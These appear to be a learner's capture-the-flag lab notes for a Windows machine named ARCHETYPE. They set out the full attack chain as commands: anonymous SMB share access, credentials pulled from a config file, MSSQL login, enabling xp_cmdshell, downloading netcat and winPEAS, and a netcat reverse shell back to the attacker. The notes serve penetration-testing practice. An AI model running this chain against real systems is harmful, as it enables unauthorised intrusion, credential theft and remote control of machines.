smbclient: $ smbclient -L <IP> --> list the available shares
smbclient: $ smbclient -N \\\\<IP>\\<share> --> connect to share -N = no auth
smbclient: smb: \> get prod.dtsConfig --> credentials found in file
impacket-mssqlclient: $ impacket-mssqlclient ARCHETYPE/sql_svc:<password>@<IP> -windows-auth --> connect to mssql
MSSQL: SQL> enable_xp_cmdshell; --> enable xp_cmdshell to run commands
MSSQL: SQL> RECONFIGURE;
MSSQL: SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget <link to netcat executable> -outfile nc64.exe --> download netcat in folder where we have enough privileges (downloads)
netcat: nc -nvlp 4444 --> netcat listening on our machine
MSSQL: SQL> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe <MyIP> 4444 --> target machine is connecting to our listening netcat, and will run through cmd.exe everythin our netcat sends, to send it back to us
netcat->cmd: C:\Users\sql_svc\Downloads>powershell --> listening netcat is now a powershell shell
netcat->powershell: PS> wget <link to winpeas executable> -outfile winPEASx64.exe --> download winPEAS on target machine